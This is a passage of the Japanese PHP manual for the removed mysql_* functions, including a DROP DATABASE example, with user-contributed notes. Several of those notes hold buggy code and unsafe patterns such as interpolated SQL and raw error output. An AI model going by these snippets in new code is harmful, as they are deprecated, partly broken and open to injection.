}
/* 行を逆順で取得する */
for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
    if (!mysql_data_seek($result, $i)) {
        echo "行 $i をシークできません: " . mysql_error() . "\n";
        continue;
    }

    if (!($row = mysql_fetch_assoc($result))) {
        continue;
    }

    echo $row['last_name'] . ' ' . $row['first_name'] . "<br />\n";
}

mysql_free_result($result);
?>

注意

注意:

mysql_data_seek() は、
mysql_query() との組み合わせでのみ利用可能です。
mysql_unbuffered_query() と組み合わせることはできません。

参考

  • mysql_query() - MySQL クエリを送信する
  • mysql_num_rows() - 結果における行の数を得る
  • mysql_fetch_row() - 結果を添字配列として取得する
  • mysql_fetch_assoc() - 連想配列として結果の行を取得する
  • mysql_fetch_array() - 連想配列、添字配列、またはその両方として結果の行を取得する
  • mysql_fetch_object() - 結果の行をオブジェクトとして取得する

User Contributed Notes

saeed at photobookworldwide dot com 25-Nov-2011 06:30
Here, you can find the current pointer of selected row easily:

<?php
//selected row with id=4
$id    =    "4";

$result    =    mysql_query("select * from jos_components");

$num    =    mysql_num_rows($result);

for($i=0;$i<$num;$i++){

    mysql_data_seek($result,$i);

    $row    =    mysql_fetch_assoc($result);

    if($row['id']    ==    $id){

        $pointer    =    $i;
    }

}

// current pointer for selected row
echo $pointer;
?>
Daniel 28-Aug-2008 02:59
Here is a simple function to "peek" at the position of the internal pointer in a query result:

<?php
function mysql_pointer_position($result_set) {
        $num_rows = mysql_num_rows($result_set);
        $i = 0;
        while($result = mysql_fetch_array($result_set)) {
            $i++;
        }
        $pointer_position = $num_rows - $i;

//Return pointer to original position
        if($pointer_position <= $num_rows - 1) {
            mysql_data_seek($result_set, $pointer_position);
        }
        return $pointer_position;
    }
?>
30-May-2006 01:52
A helpful note about the 'resource' data type.

Since the 'resource' variable is pointing to a row in a result set at any given time, you can think of it as being passed to this function by reference every time you pass it or assign it to a variable.

<?

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
    // do stuff with $row
}

while ($row = mysql_fetch_assoc($result)) {
    // This code will never run because the 'resource' variable is pointing past the end of the result set,
    // even though it was *not* assigned by reference to $result2.
}

?>

Therefore, the following snipits are functionally identical:

<?

// Start snipit 1

$sql = "SELECT * from <table>";
$result = mysql_query($sql);

while ($row = mysql_fetch_assoc($result)) {
    // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($result)) {
    // do other stuff with $row
}

// Start snipit 2

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
    // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($temp_result)) {
    // do other stuff with $row
}

?>
arturo_b at hotmail dot com 20-Apr-2005 08:53
hello, this script would be easy to understand for those that are novice in php whose want to understand about this function:

the table "user" have 2 columns "id" and "name".
"user" content:
position 0: "id"=195342481 "name"='Arthur'
position 1: "id"=179154675 "name"='John'
>>position 2<<: "id"=157761949 "name"='April' >>third row<<
position 3: "id"=124492684 "name"='Tammy'
position 4: "id"=191346457 "name"='Mike'

<?php
  mysql_connect("localhost", "root")
  mysql_select_db("test");
  $sql = mysql_query("select * from user");
  mysql_data_seek($sql, 2);
  echo "<table border=1>";
  while ($row = mysql_fetch_row($sql)){
    echo "<tr><td>$row[0]</td><td>$row[1]</td></tr>";
  }
  echo "</tabla>";
?>

explanation:
mysql_data_seek move internal result pointer to the third row of table user. Thus mysql_fetch_row will begin by april?s row.
b.steinbrink at g m x dot de 08-Dec-2004 11:09
to kennethnash1134 at yahoo dot com

your loop can be done like this as well and i guess this is faster:

$r=mysql_query("select user,id,ip from accounts limit 10");

unset($users); // Just to be sure
while($users[] = mysql_fetch_row);
array_pop($users); // Drop the last entry which is FALSE
kennethnash1134 at yahoo dot com 26-Mar-2004 12:12
/*here is a nice function for converting a mysql result row set into a 2d array, a time saver if need small data from several rows, saves you from having to do Alot of queries... would be nice to have this built into PHP future versions :) */

// simple example query
$r=mysql_query("select user,id,ip from accounts limit 10");

//starts the for loop, using mysql_num_rows() to count total
//amount of rows returned by $r
for($i=0; $i<mysql_num_rows($r); $i++){
             //advances the row in the mysql resource $r
    mysql_data_seek($r,$i);
             //assigns the array keys, $users[row][field]
    $users[$i]=mysql_fetch_row($r);
}

//simple, hope someone can use it :)
// -Kenneth Nash


mysql_list_dbs のコール結果からデータベース名を取得する

  • ≪ mysql_data_seek
  • mysql_db_query ≫
  • PHP Manual
  • MySQL 関数
  • mysql_list_dbs のコール結果からデータベース名を取得する

mysql_db_name

(PHP 4, PHP 5)

mysql_db_name — mysql_list_dbs() のコール結果からデータベース名を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • クエリー: SELECT DATABASE()

説明

mysql_db_name ( resource $result , int $row , mixed $field = NULL ) : string

mysql_list_dbs() をコールした結果からデータベース名を取得します。

パラメータ

result

mysql_list_dbs() をコールして 得られた結果ポインタ。

row

結果セット内のインデックス。

field

フィールド名。

返り値

成功した場合にデータベース名を、失敗した場合に false を返します。 false が返された場合、エラーの発生源を特定するには mysql_error() を使用してください。

変更履歴

バージョン | 説明
5.5.0 | mysql_list_dbs() 関数は非推奨となり、 E_DEPRECATED レベルのエラーが発生するようになりました。

例

例1 mysql_db_name() の例

<?php
error_reporting(E_ALL);

$link = mysql_connect('dbhost', 'username', 'password');
$db_list = mysql_list_dbs($link);

$i = 0;
$cnt = mysql_num_rows($db_list);
while ($i < $cnt) {
    echo mysql_db_name($db_list, $i) . "\n";
    $i++;
}
?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_dbname()

参考

  • mysql_list_dbs() - MySQL サーバー上で利用可能なデータベースのリストを得る
  • mysql_tablename() - フィールドのテーブル名を得る

User Contributed Notes

There are no user contributed notes for this page.


データベースを選択し、そこでクエリーを実行する

  • ≪ mysql_db_name
  • mysql_drop_db ≫
  • PHP Manual
  • MySQL 関数
  • データベースを選択し、そこでクエリーを実行する

mysql_db_query

(PHP 4, PHP 5)

mysql_db_query — データベースを選択し、そこでクエリーを実行する

警告

この関数は PHP 5.3.0 で非推奨になり、PHP 7.0.0 で MySQL 拡張モジュール 全体とあわせて削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_select_db() してからクエリーを実行
  • PDO::__construct()

説明

mysql_db_query ( string $database , string $query , resource $link_identifier = NULL ) : resource|bool

mysql_db_query() はデータベースを選択し、 そこでクエリーを実行します。

パラメータ

database

選択するデータベース名。

query

MySQL クエリー。

クエリ内のデータは 適切にエスケープ する必要があります。

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

クエリーの結果を指す MySQL 結果リソースを正の値で返します。 エラー時には false を返します。また、 INSERT/UPDATE/DELETE クエリーの場合には true または false を返し、これらはそれぞれ クエリーが 成功した / 失敗した ことを示します。

例

例1 mysql_db_query() の別の例

<?php

if (!$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
    echo 'Could not connect to mysql';
    exit;
}

if (!mysql_select_db('mysql_dbname', $link)) {
    echo 'Could not select database';
    exit;
}

$sql    = 'SELECT foo FROM bar WHERE id = 42';
$result = mysql_query($sql, $link);

if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

while ($row = mysql_fetch_assoc($result)) {
    echo $row['foo'];
}

mysql_free_result($result);

?>

注意

注意:

この関数の終了後、直前に選択されていたデータベースに自動的に戻ることは ないということに注意してください。 言い換えれば、一時的に別のデータベース上でクエリーを 実行するという目的でこの関数を利用することはできないということです。 もしそのような場合は、もとのデータベースに改めて接続しなおす必要があります。 この関数のかわりに、SQL クエリーの中で database.table 構文を用いたり mysql_select_db() を利用したりすることが 強く推奨されています。

参考

  • mysql_query() - MySQL クエリを送信する
  • mysql_select_db() - MySQL データベースを選択する

User Contributed Notes

There are no user contributed notes for this page.


MySQLデータベースを破棄(削除)する

  • ≪ mysql_db_query
  • mysql_errno ≫
  • PHP Manual
  • MySQL 関数
  • MySQLデータベースを破棄(削除)する

mysql_drop_db

(PHP 4, PHP 5)

mysql_drop_db — MySQLデータベースを破棄(削除)する

警告

この関数は PHP 4.3.0 で非推奨になり、PHP 7.0.0 で MySQL 拡張モジュール 全体とあわせて削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • DROP DATABASE クエリーを実行

説明

mysql_drop_db ( string $database_name , resource $link_identifier = NULL ) : bool

mysql_drop_db() は、指定した link_identifier が指す データベース全体をサーバーから破棄(削除)しようとします。 この関数は非推奨です。かわりに、 mysql_query() を用いて DROP DATABASE 文を発行する方法が推奨されます。

パラメータ

database_name

削除するデータベースの名前。

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysql_drop_db() の別の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}

$sql = 'DROP DATABASE my_db';
if (mysql_query($sql, $link)) {
    echo "Database my_db was successfully dropped\n";
} else {
    echo 'Error dropping database: ' . mysql_error() . "\n";
}
?>

注意

警告

MySQL 4.x のクライアントライブラリを用いて MySQL 拡張モジュールを ビルドした場合、この関数は利用できません。

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_dropdb()

参考

  • mysql_query() - MySQL クエリを送信する

User Contributed Notes

There are no user contributed notes for this page.


直近の MySQL 処理からエラーメッセージのエラー番号を返す

  • ≪ mysql_drop_db
  • mysql_error ≫
  • PHP Manual
  • MySQL 関数
  • 直近の MySQL 処理からエラーメッセージのエラー番号を返す

mysql_errno

(PHP 4, PHP 5)

mysql_errno — 直近の MySQL 処理からエラーメッセージのエラー番号を返す

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_errno()
  • PDO::errorCode()

説明

mysql_errno ( resource $link_identifier = NULL ) : int

直近の MySQL 関数で発生したエラーの番号を返します。

MySQL データベースバックエンドから返ってくるエラーは、 警告を発生しません。代わりに mysql_errno() を用いて エラー番号を取得してください。この関数が返すのは、直近に実行された MySQL 関数（mysql_error() と mysql_errno() は除く）のエラーコードだけであることに 注意しましょう。この関数を利用するなら、別の MySQL 関数をコールする前に 値を調べることを忘れないようにしましょう。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

直近の MySQL 関数からのエラー番号を返します。エラーが発生していない 場合は、0 (ゼロ)を返します。

例

例1 mysql_errno() の例

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password");

if (!mysql_select_db("nonexistentdb", $link)) {
    echo mysql_errno($link) . ": " . mysql_error($link). "\n";
}

mysql_select_db("kossu", $link);
if (!mysql_query("SELECT * FROM nonexistenttable", $link)) {
    echo mysql_errno($link) . ": " . mysql_error($link) . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

参考

  • mysql_error() - 直近に実行された MySQL 操作のエラーメッセージを返す
  • » MySQL エラーコード

User Contributed Notes

timstamp.co.uk 25-Jun-2007 07:51
If you are receiving errors like:
Warning: mysql_close(): 5 is not a valid MySQL-Link resource

Check that you are calling mysql_error() and mysql_errno() BEFORE you call mysql_close().
simon at paarlberg dot dk 13-Dec-2005 03:40
Function for creating unique md5 keys in a database. If there are duplets, then a new md5-key will be generated. For your use:

  function users_md5create($id){
    global $mysql_link;

    while ($done==0) {
      $md5key = md5(time().($id/2).$loop).md5(time().$id.$loop);
      $query = "INSERT INTO users_md5create SET md5key='$md5key', fkey='$id', created=UNIX_TIMESTAMP() ";
      $mysql_result = mysql_query($query, $mysql_link);
      if(mysql_errno($mysql_link)!=1062) $done=1;
      $loop++;
    }

    return($md5key);
  }
apoio at cyberspace dot org 29-Jun-2000 05:58
All mysqld error messages are located into the file /usr/local/share/mysql/english/errmsg.txt and listed in numerical order from 999 to 1175. You can change the output language as well, issuing the '-L spanish' option for example. See the manual for more details.


直近に実行された MySQL 操作のエラーメッセージを返す

  • ≪ mysql_errno
  • mysql_escape_string ≫
  • PHP Manual
  • MySQL 関数
  • 直近に実行された MySQL 操作のエラーメッセージを返す

mysql_error

(PHP 4, PHP 5)

mysql_error — 直近に実行された MySQL 操作のエラーメッセージを返す

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_error()
  • PDO::errorInfo()

説明

mysql_error ( resource $link_identifier = NULL ) : string

直近の MySQL 関数からのエラー文字列を返します。 MySQL データベースバックエンドから返ってくるエラーは、 警告を発生しません。代わりに mysql_error() を用いて エラー文字列を取得してください。この関数が返すのは、直近に実行された MySQL 関数（mysql_error() と mysql_errno() は除く）のエラー文字列だけであることに 注意しましょう。この関数を利用するなら、別の MySQL 関数をコールする前に 値を調べることを忘れないようにしましょう。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

直近の MySQL 関数からのエラー文字列を返します。エラーが発生していない 場合には、'' (空文字列) を返します。

例

例1 mysql_error() の例

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password");

mysql_select_db("nonexistentdb", $link);
echo mysql_errno($link) . ": " . mysql_error($link). "\n";

mysql_select_db("kossu", $link);
mysql_query("SELECT * FROM nonexistenttable", $link);
echo mysql_errno($link) . ": " . mysql_error($link) . "\n";
?>

上の例の出力は、 たとえば以下のようになります。

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

参考

  • mysql_errno() - 直近の MySQL 処理からエラーメッセージのエラー番号を返す
  • » MySQL エラーコード

User Contributed Notes

Gerrit 30-Aug-2014 09:30
The following code returns two times the same error, even though I would have expected only one:

   $ conn = mysql_connect ('localhost', 'root', '');
   $ conn2 = mysql_connect ('localhost', 'root', '');

   mysql_select_db ('db1', $ conn);
   mysql_select_db ('db2', $ conn2);

   $ result = mysql_query ("select 1 from dual", $ conn);
   $ result2 = mysql_query ("select 1 from luad", $ conn2);

   echo mysql_error ($ conn) "<hr>".
   echo mysql_error ($ conn2) "<hr>".

The reason for this is that mysql_connect not working as expected a further connection returns. Since the parameters are equal, a further reference to the previous link is returned. So also changes the second mysql_select_db the selected DB of $conn to 'db2'.

If you change the connection parameters of the second connection to 127.0.0.1, a new connection is returned. In addition to the parameters new_link the mysql_connect() function to be forced.
Florian Sidler 02-Feb-2010 02:33
Be aware that if you are using multiple MySQL connections you MUST support the link identifier to the mysql_error() function. Otherwise your error message will be blank.

Just spent a good 30 minutes trying to figure out why i didn't see my SQL errors.
Pendragon Castle 13-Jan-2009 07:16
Using a manipulation of josh ><>'s function, I created the following. It's purpose is to use the DB to store errors. It handles both original query, as well as the error log. Included Larry Ullman's escape_data() as well since I use it in q().

<?php
function escape_data($data){
 global $dbc;
 if(ini_get('magic_quotes_gpc')){
  $data=stripslashes($data);
 }
 return mysql_real_escape_string(trim($data),$dbc);
}

function q($page,$query){
// $page
 $result = mysql_query($query);
 if (mysql_errno()) {
  $error = "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
  $log = mysql_query("INSERT INTO db_errors (error_page,error_text) VALUES ('$page','".escape_data($error)."')");
 }
}

// Run the query using q()
$query = "INSERT INTO names (first, last) VALUES ('myfirst', 'mylast'");
$result = q("Sample Page Title",$query);
?>
Gianluigi_Zanettini-MegaLab.it 25-May-2007 03:50
A friend of mine proposed a great solution.

<?php
$old_track = ini_set('track_errors', '1');

.....

        if ($this->db_handle!=FALSE && $db_selection_status!=FALSE)
            {
            $this->connected=1;
            ini_set('track_errors', $old_track);
            }
        else
            {
            $this->connected=-1;
            $mysql_warning=$php_errormsg;
            ini_set('track_errors', $old_track);
            throw new mysql_cns_exception(1, $mysql_warning . " " . mysql_error());
            }
?>
Gianluigi_Zanettini-MegaLab.it 25-May-2007 01:20
"Errors coming back from the MySQL database backend no longer issue warnings." Please note, you have an error/bug here. In fact, MySQL 5.1 with PHP 5.2:

Warning: mysql_connect() [function.mysql-connect]: Unknown MySQL server host 'locallllllhost' (11001)

That's a warning, which is not trapped by mysql_error()!
phpnet at robzazueta dot com 23-Jan-2007 11:14
This is a big one - As of MySQL 4.1 and above, apparently, the way passwords are hashed has changed. PHP 4.x is not compatible with this change, though PHP 5.0 is. I'm still using the 4.x series for various compatibility reasons, so when I set up MySQL 5.0.x on IIS 6.0 running PHP 4.4.4 I was surpised to get this error from mysql_error():

MYSQL: Client does not support authentication protocol requested by server; consider upgrading MySQL client

According to the MySQL site (http://dev.mysql.com/doc/refman/5.0/en/old-client.html) the best fix for this is to use the OLD_PASSWORD() function for your mysql DB user. You can reset it by issuing to MySQL:

Set PASSWORD for 'user'@'host' = OLD_PASSWORD('password');

This saved my hide.
l dot poot at twing dot nl 12-Jul-2006 05:38
When creating large applications it's quite handy to create a custom function for handling queries. Just include this function in every script. And use db_query(in this example) instead of mysql_query.

This example prompts an error in debugmode (variable $b_debugmode ). An e-mail with the error will be sent to the site operator otherwise.

The script writes a log file in directory ( in this case /log ) as well.

The system is vulnerable when database/query information is prompted to visitors. So be sure to hide this information for visitors anytime.

Regars,

Lennart Poot
http://www.twing.nl

<?php
$b_debugmode = 1; // 0 || 1

$system_operator_mail = 'developer@company.com';
$system_from_mail = 'info@mywebsite.com';

function db_query( $query ){
  global $b_debugmode;

  // Perform Query
  $result = mysql_query($query);

  // Check result
  // This shows the actual query sent to MySQL, and the error. Useful for debugging.
  if (!$result) {
    if($b_debugmode){
      $message  = '<b>Invalid query:</b><br>' . mysql_error() . '<br><br>';
      $message .= '<b>Whole query:</b><br>' . $query . '<br><br>';
      die($message);
    }

    raise_error('db_query_error: ' . $message);
  }
  return $result;
}

  function raise_error( $message ){
    global $system_operator_mail, $system_from_mail;

    $serror=
    "Env:       " . $_SERVER['SERVER_NAME'] . "\r\n" .
    "timestamp: " . Date('m/d/Y H:i:s') . "\r\n" .
    "script:    " . $_SERVER['PHP_SELF'] . "\r\n" .
    "error:     " . $message ."\r\n\r\n";

    // open a log file and write error
    $fhandle = fopen( '/logs/errors'.date('Ymd').'.txt', 'a' );
    if($fhandle){
      fwrite( $fhandle, $serror );
      fclose(( $fhandle ));
     }

    // e-mail error to system operator
    if(!$b_debugmode)
      mail($system_operator_mail, 'error: '.$message, $serror, 'From: ' . $system_from_mail );
  }

?>
05-Jan-2005 12:53
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

A fatal MySQL error occured.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
aleczapka _at) gmx dot net 16-Jul-2004 10:05
If you want to display errors like "Access denied...", when mysql_error() returns "" and mysql_errno() returns 0, use  $php_errormsg. This Warning will be stored there.  You need to have track_errors set to true in your php.ini.

Note. There is a bug in either documentation about error_reporting() or in mysql_error() function cause manual for mysql_error(), says:  "Errors coming back from the MySQL database backend no longer issue warnings." Which is not true.
olaf at amen-online dot de 22-Jun-2004 11:08
When dealing with user input, make sure that you use
<?php
echo htmlspecialchars (mysql_error ());
?>
instead of
<?php
echo mysql_error ();
?>

Otherwise it might be possible to crack into your system by submitting data that causes the SQL query to fail and that also contains javascript commands.

Would it make sense to change the examples in the documentation for mysql_query () and for mysql_error () accordingly?
miko_il AT yahoo DOT com 11-Dec-2003 11:25
Following are error codes that may appear when you call MySQL from any host language:

http://www.mysql.com/doc/en/Error-returns.html
josh ><> 13-Oct-2003 04:26
Oops, the code in my previous post only works for queries that don't return data (INSERT, UPDATE, DELETE, etc.), this updated function should work for all types of queries (using $result = myquery($query);):

    function myquery ($query) {
        $result = mysql_query($query);
        if (mysql_errno())
            echo "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
        return $result;
    }
scott at rocketpack dot net 25-Jul-2003 02:44
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

<b>A fatal MySQL error occured</b>.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
10-May-2001 07:03
some error can't handle. Example:

ERROR 1044: Access denied for user: 'ituser@mail.ramon.intranet' to database 'itcom'

This error ocurrs when a intent of a sql insert of no authorized user. The results: mysql_errno = 0 and the mysql_error = "" .


mysql_query で使用するために文字列をエスケープする

  • ≪ mysql_error
  • mysql_fetch_array ≫
  • PHP Manual
  • MySQL 関数
  • mysql_query で使用するために文字列をエスケープする

mysql_escape_string

(PHP 4 >= 4.0.3, PHP 5)

mysql_escape_string — mysql_query で使用するために文字列をエスケープする

警告

この関数は PHP 4.3.0 で非推奨になり、PHP 7.0.0 で MySQL 拡張モジュール 全体とあわせて削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_escape_string()
  • PDO::quote()

説明

mysql_escape_string ( string $unescaped_string ) : string

この関数は、mysql_query() で指定可能なように unescaped_string をエスケープします。 この関数は非推奨です。

この関数は mysql_real_escape_string() とほぼ同じです。ただ mysql_real_escape_string() はコネクションハンドラを用い、 カレントの文字セットを考慮したエスケープを行うという点が違います。 mysql_escape_string() はコネクションに関する引数を 持たず、カレントの文字セット設定を考慮しません。

パラメータ

unescaped_string

エスケープされる文字列。

返り値

エスケープされた文字列を返します。

例

例1 mysql_escape_string() の例

<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf("Escaped string: %s\n", $escaped_item);
?>

上の例の出力は以下となります。

Escaped string: Zak\'s Laptop

注意

注意:

mysql_escape_string() は、 % および _ をエスケープしません。

参考

  • mysql_real_escape_string() - SQL 文中で用いる文字列の特殊文字をエスケープする
  • addslashes() - 文字列をスラッシュでクォートする
  • magic_quotes_gpc ディレクティブ

User Contributed Notes

PHPguru 15-Mar-2015 02:54
You can use this function safely with your MySQL database queries if and only if you are sure that your database connection is using ASCII, UTF-8, or ISO-8859-* and that the backslash is your database's escape character. If you're not sure, then use mysqli_real_escape_string instead. This function is not safe to use on databases with multi-byte character sets.

The only benefit of this function is that it does not require a database connection.
s dot marechal at jejik dot com 26-Jan-2011 02:37
The exact characters that are escaped by this function are the null byte (0), newline (\n), carriage return (\r), backslash (\), single quote ('), double quote (") and substiture (SUB, or \032).


連想配列、添字配列、またはその両方として結果の行を取得する

  • ≪ mysql_escape_string
  • mysql_fetch_assoc ≫
  • PHP Manual
  • MySQL 関数
  • 連想配列、添字配列、またはその両方として結果の行を取得する

mysql_fetch_array

(PHP 4, PHP 5)

mysql_fetch_array — 連想配列、添字配列、またはその両方として結果の行を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_array()
  • PDOStatement::fetch()

説明

mysql_fetch_array ( resource $result , int $result_type = MYSQL_BOTH ) : array

取得した行に対応する配列を返し、内部のデータポインタを前に進めます。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

result_type

取得する配列の形式です。以下の定数値をとります。: MYSQL_ASSOC, MYSQL_NUM, そして MYSQL_BOTH

返り値

取得した行をあらわす文字列の配列を返します。もし行が存在しない場合は false を返します。返される配列の形式は、result_type がどのように指定されているかによります。MYSQL_BOTH（デフォルト） を利用すると、連想添字と数値添字を共に持つ配列を取得します。 MYSQL_ASSOC を利用すると（ mysql_fetch_assoc() の動作と同様に）連想添字のみが取得され、 MYSQL_NUM を利用すると （mysql_fetch_row() の動作と同様に）数値添字のみが 取得されます。

結果の中で同じフィールド名のカラムが 2 つ以上ある場合、 最後のカラムが優先されます。 同名の他のカラムにアクセスするには、そのカラムの数値インデックスを 使うかまたはカラムの別名を定義する必要があります。 カラムの別名を定義した場合は、本来の列名でそのカラムにアクセスすることは できません。

例

例1 重複した列名に対して別名を定義する問い合わせ

SELECT table1.field AS foo, table2.field AS bar FROM table1, table2

例2 mysql_fetch_array() を MYSQL_NUM とともに利用する

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
    die("Could not connect: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
    printf("ID: %s  Name: %s", $row[0], $row[1]);
}

mysql_free_result($result);
?>

例3 mysql_fetch_array() を MYSQL_ASSOC とともに利用する

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
    die("Could not connect: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
    printf("ID: %s  Name: %s", $row["id"], $row["name"]);
}

mysql_free_result($result);
?>

例4 mysql_fetch_array() を MYSQL_BOTH とともに利用する

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
    die("Could not connect: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_BOTH)) {
    printf ("ID: %s  Name: %s", $row[0], $row["name"]);
}

mysql_free_result($result);
?>

注意

注意: パフォーマンス

特筆すべき点として、mysql_fetch_array() が 著しい付加価値があるにもかかわらず、 mysql_fetch_row()より それほど遅くはないということが言えます。

注意: この関数により返されるフィー ルド名は 大文字小文字を区別 します。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

参考

  • mysql_fetch_row() - 結果を添字配列として取得する
  • mysql_fetch_assoc() - 連想配列として結果の行を取得する
  • mysql_data_seek() - 内部的な結果ポインタを移動する
  • mysql_query() - MySQL クエリを送信する

User Contributed Notes

scott_carney at hotmail dot com 23-May-2012 05:22
Just thought I'd share these helper functions that I use to simplify processing of query results a bit:
<?php
// For a simple query that should return a single value, this returns just that value (or FALSE) so you can process it immediately
function db_result_single($result) {
    return ($row = mysql_fetch_row($result)) && isset($row[0]) ? $row[0] : false;
}

// Returns the rows as an array of rows
// Providing a key_column gives you access to specific rows (e.g. if (isset($result_array[$user_id])) ...)
function db_result_array($result, $key_column = null) {
    for ($array = array(); $row = mysql_fetch_assoc($result); isset($row[$key_column]) ? $array[$row[$key_column]] = $row : $array[] = $row);
    return $array;
}

// Returns an array of a single column of data that can optionally be keyed from second column (e.g. an array of user names keyed by user id)
function db_result_array_values($result) {
    for ($array = array(); $row = mysql_fetch_row($result); isset($row[1]) ? $array[$row[1]] = $row[0] : $array[] = $row[0]);
    return $array;
}
?>

Naturally, comments [to my email, not here] are welcome.
puzbie at facebookanswers dot co dot uk 08-Nov-2011 01:28
<?php
 while($r[]=mysql_fetch_array($sql));
 ?>
Yes, that will generate a dummy array element containing the false of the final mysql_fetch_array. You should either truncate the array or (more sensibly in my mind) check that the result of mysql_fetch_array is not false before adding it to the array.
Anonymous 30-Aug-2011 01:56
If I use

<?php
while($r[]=mysql_fetch_array($sql));
?>

so in array $r is one more entry then rows returned from the database.
maileremi at gmail dot com 03-Aug-2011 09:49
Simple way to put table in an array...

<?php
//= Query ========================//
$sql=mysql_query("select * from table1");

//= Closed while ====================//
/*everytime it fetches the row, adds it to array...*/
